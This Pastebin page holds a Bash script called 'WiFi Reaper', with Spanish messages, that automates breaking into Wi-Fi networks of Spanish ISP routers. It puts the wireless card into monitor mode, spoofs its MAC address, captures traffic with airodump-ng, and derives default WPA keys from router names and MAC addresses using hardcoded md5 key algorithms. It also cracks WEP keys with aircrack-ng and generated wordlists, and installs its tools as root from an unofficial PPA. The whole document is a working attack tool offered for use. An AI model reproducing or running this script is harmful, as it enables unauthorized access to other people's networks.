Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # ,___ r3
- # ¡ _` WiFi Reaper
- # ª_/() blaksark@gmail.com
- # |\` `, http://pastebin.com/u/noes1s
- # _·' l CC BY-NC-SA 3.0
- #___________________________________________________________________________________________________
- # r2 SpeedTouch, arguments
- # r1 WLAN_, JAZZTEL_, WLANXXXX, JAZZTELXXXX, WLANXX, ONO
- #___________________________________________________________________________________________________
- # VARIABLES:
- DATOS="/tmp"
- WAITING="sleep 4"
- WORDLIST="$DATOS/wordlist"
- LOG="$DATOS/keys"
- OUTPUT="$DATOS/output"
- DEPENDENCIAS='aircrack-ng xterm jazzteldecrypter ono4xx wlan4xx wlandecrypter stkeys'
- #___________________________________________________________________________________________________
- # ROOT/DEPENDENCIES CHECK:
- clear
- echo -e "\e[1;32mWiFi\e[30m/\e[31mReaper\e[m"
- ((UID)) && echo -e "\n\e[1;31m"' (!) '"\e[mUtiliza: sudo bash $0\n" && exit
- if ! which $DEPENDENCIAS; then
- if ping -c2 tiny.cc >/dev/null; then
- add-apt-repository ppa:ed10vi86/wifi
- apt-get update
- apt-get install -y $DEPENDENCIAS
- else
- echo -e "\n\e[1;31m"' (!) '"\e[mSe necesita internet para instalar $DEPENDENCIAS\n"
- exit
- fi
- fi
- for trash in "$LOG" "$OUTPUT"; do
- rm -f $trash &>/dev/null
- echo $trash cleaned
- done
- #___________________________________________________________________________________________________
- # MODO MONITOR:
- clear
- echo -e "\e[1;32mWiFi\e[30m/\e[31mReaper\e[m"
- if [[ $1 ]]; then
- iface=$1
- elif
- showinterfaces=$(airmon-ng |awk '{print $1}' |egrep 'wlan|wifi|rausb|ath'); then
- PS3=$(echo -e "\e[36mSelecciona interfaz: \e[m")
- select iface in $showinterfaces; do break; done
- else
- echo -e "\n\e[1;31m"' (!) '"\e[mNo se ha encontrado ninguna interfaz wireless\n"
- exit
- fi
- if ifconfig $iface up; then
- airmon-ng stop $iface &>/dev/null
- echo "Managed mode: $iface"
- phy=$(airmon-ng |grep $iface |sed 's_.*\[__')
- if mon=$(airmon-ng |awk /$phy/'{print $1}' |head -2 |grep -v $iface); then
- if [[ $(iwconfig 2>/dev/null |grep mon0 |grep Monitor) ]]; then
- echo "Monitor mode: $mon (funcionando)"
- else
- ifconfig $mon down
- iw reg set US
- iwconfig $mon mode monitor
- macchanger -A $mon
- ifconfig $mon up
- echo "Monitor mode: $mon (activado)"
- fi
- else
- TMP=$(tempfile)
- airmon-ng start $iface > $TMP
- echo "Creando modo monitor en $iface..."
- sleep 1
- mon=$(awk '/enabled/{print $5}' $TMP |sed 's_)__')
- rm -f $TMP
- ifconfig $mon down
- iw reg set US
- iwconfig $mon mode monitor
- macchanger -A $mon
- ifconfig $mon up
- echo "Monitor mode: $mon (creado)"
- fi
- ifconfig $iface up
- else
- echo -e "\n\e[1;31m"' (!) '"\e[mNo se pudo activar la interfaz\n"
- exit
- fi
- #___________________________________________________________________________________________________
- # SCAN:
- ps -A |grep airodump-ng && pkill -9 airodump-ng &>/dev/null
- airodump-ng -a -w $DATOS/capture $mon &>/dev/null &
- #___________________________________________________________________________________________________
- # WEP:
- WEPS=
- WPAS=
- STS=
- INJ=
- redes='WLAN|JAZZTEL|ONO|YACOM|WiFi'
- STATUS(){
- clear
- echo -e "\e[1;32mWiFi\e[30m/\e[31mReaper\e[m"
- $INFO
- awk ' !x[$0]++' $OUTPUT > $LOG
- bash $LOG
- cp $LOG ~/WiFiReaper # DEVELOPERS ONLY
- INFO=
- } 2>/dev/null
- CRACK(){
- INFO="echo -e \e[1;30m[ \e[0;33mCracking $essid\e[1;30m ]\e[m"
- STATUS
- ps -A |grep aircrack-ng && pkill -9 aircrack-ng &>/dev/null
- aircrack-ng -qK1a1 -w $WORDLIST $DATOS/*.cap -e $essid > $DATOS/$essid
- key=$(awk '/II/{print $7}' $DATOS/$essid)
- if [[ $key ]]; then
- echo 'printf' "'\e[32m %-26s \e[1;30m[ \e[1;32m%-10s\e[1;30m ]\e[m\n'" "$essid" "$key" >> $OUTPUT
- WEPS="${essid} ${WEPS}"
- else
- echo 'printf' "'\e[31m %-26s \e[1;30m[ \e[1;31m%-10s\e[1;30m ]\e[m\n'" "$essid" "'password no encontrada'" >> $OUTPUT
- $WAITING
- fi
- STATUS
- } 2>/dev/null
- while : ; do
- # WPA ( NO DATA REQUIRED )
- INFO="echo -e \e[1;30m[ \e[0;33mBuscando redes WPA\e[1;30m ]\e[m"
- STATUS
- TMP=$(tempfile)
- iwlist $iface scan > $TMP 2>/dev/null || sleep 10
- SSIDLIST=$(cat $TMP |egrep "ESSID:\"((WLAN|JAZZTEL)_|Vodafone)(\w){4}" |cut -f 2 -d \")
- if [ ! -z "$SSIDLIST" ]; then
- for SSID in $SSIDLIST; do
- if [[ ! $(echo "$WPAS" |grep -w "$SSID") ]]; then
- MAC=$(cat $TMP |grep -B6 "$SSID" |grep "Address:" |awk '{print $5}' |head -n 1)
- if [[ $(echo $MAC |grep -i "^00:1F:A4:") ]]; then
- HEAD=$(echo -n "$SSID" |tr 'A-Z' 'a-z' |rev |cut -c -4 |rev)
- BSSIDP=$(echo -n "$MAC" |tr 'A-Z' 'a-z' |tr -d : |cut -c -8)
- KEY=$(echo -n "${BSSIDP}${HEAD}" |md5sum |tr 'a-z' 'A-Z' |cut -c -20)
- else
- HEAD=$(echo -n "$SSID" |sed -e "s/WLAN_//" -e "s/JAZZTEL_//" -e "s/Vodafone//" |tr 'a-z' 'A-Z')
- BSSID=$(echo -n "$MAC" |tr 'a-z' 'A-Z' |tr -d :)
- BSSIDP=$(echo -n "$BSSID" |cut -c-8)
- KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID |md5sum |cut -c-20)
- fi
- echo 'printf' "'\e[34m %-26s \e[1;30m[ \e[1;34m%-10s\e[1;30m ]\e[m\n'" $SSID $KEY >> $OUTPUT
- WPAS="${SSID} ${WPAS}"
- fi
- done
- $WAITING
- fi
- rm $TMP
- # SPEEDTOUCH ( NO IVS REQUIRED )
- stlist=$(awk '!/WPA|OPN/&&/WEP/&&/SpeedTouch/{print $20}' $DATOS/*.csv | sed 's/,//' |awk ' !x[$0]++')
- if [[ $stlist ]]; then
- for essid in $stlist; do
- if [[ ! $(echo "$STS" |grep -w "$essid") ]]; then
- stkeys -i $(echo $essid |sed 's/S.*h//') -o $DATOS/stkey &>/dev/null
- key=$(cat $DATOS/stkey |head -1)
- if [[ $key ]]; then
- echo 'printf' "'\e[32m %-26s \e[1;30m[ \e[1;32m%-10s\e[1;30m ]\e[m\n'" "$essid" "$key" >> $OUTPUT
- else
- echo 'printf' "'\e[31m %-26s \e[1;30m[ \e[1;31m%-10s\e[1;30m ]\e[m\n'" "$essid" "'password no encontrada'" >> $OUTPUT
- fi
- STATUS
- STS="${essid} ${STS}"
- fi
- done
- fi
- # WEP CRACKING ( +4 IVS REQUIRED )
- INFO="echo -e \e[1;30m[ \e[0;33mBuscando redes WEP\e[1;30m ]\e[m"
- STATUS
- $WAITING
- essidlist=$(awk '!/;inf|WPA|OPN/&&/WEP/&&/'$redes'/{print $1,$14,$20}' $DATOS/*.csv \
- |awk '{print $3}' |sed 's/,//' |awk ' !x[$0]++')
- # |awk '!/ [0-3], /{print $3}' |sed 's/,//' |awk ' !x[$0]++'
- if [[ $essidlist ]]; then
- for essid in $essidlist; do
- if [[ ! $(echo "$WEPS" |grep -w "$essid") ]]; then
- mac=$(awk '!/;inf|WPA|OPN/&&/WEP/&&/'$redes'/{print $1,$14,$20}' $DATOS/*.csv \
- |awk /$essid/'{print $1}' |sed 's/,//' |awk ' !x[$0]++')
- if [[ $(echo $essid |grep WLAN_) ]]; then
- wlandecrypter $mac $essid $WORDLIST &>/dev/null
- CRACK
- elif [[ $(echo $essid |egrep '(WLAN[0-9]|YACOM|WiFi)') ]]; then
- wlan4xx $essid $mac $WORDLIST &>/dev/null
- CRACK
- elif [[ $(echo $essid |grep JAZZTEL_) ]]; then
- jazzteldecrypter $mac $essid $WORDLIST &>/dev/null
- CRACK
- elif [[ $(echo $essid |grep ONO) ]]; then
- ono4xx $essid $mac wep $WORDLIST &>/dev/null
- CRACK
- fi
- fi
- done
- fi
- done
- #___________________________________________________________________________________________________
- # ARGUMENTS
- while getopts "i" execute; do
- case ${execute} in
- i ) $iface=$1; exit ;;
- esac
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement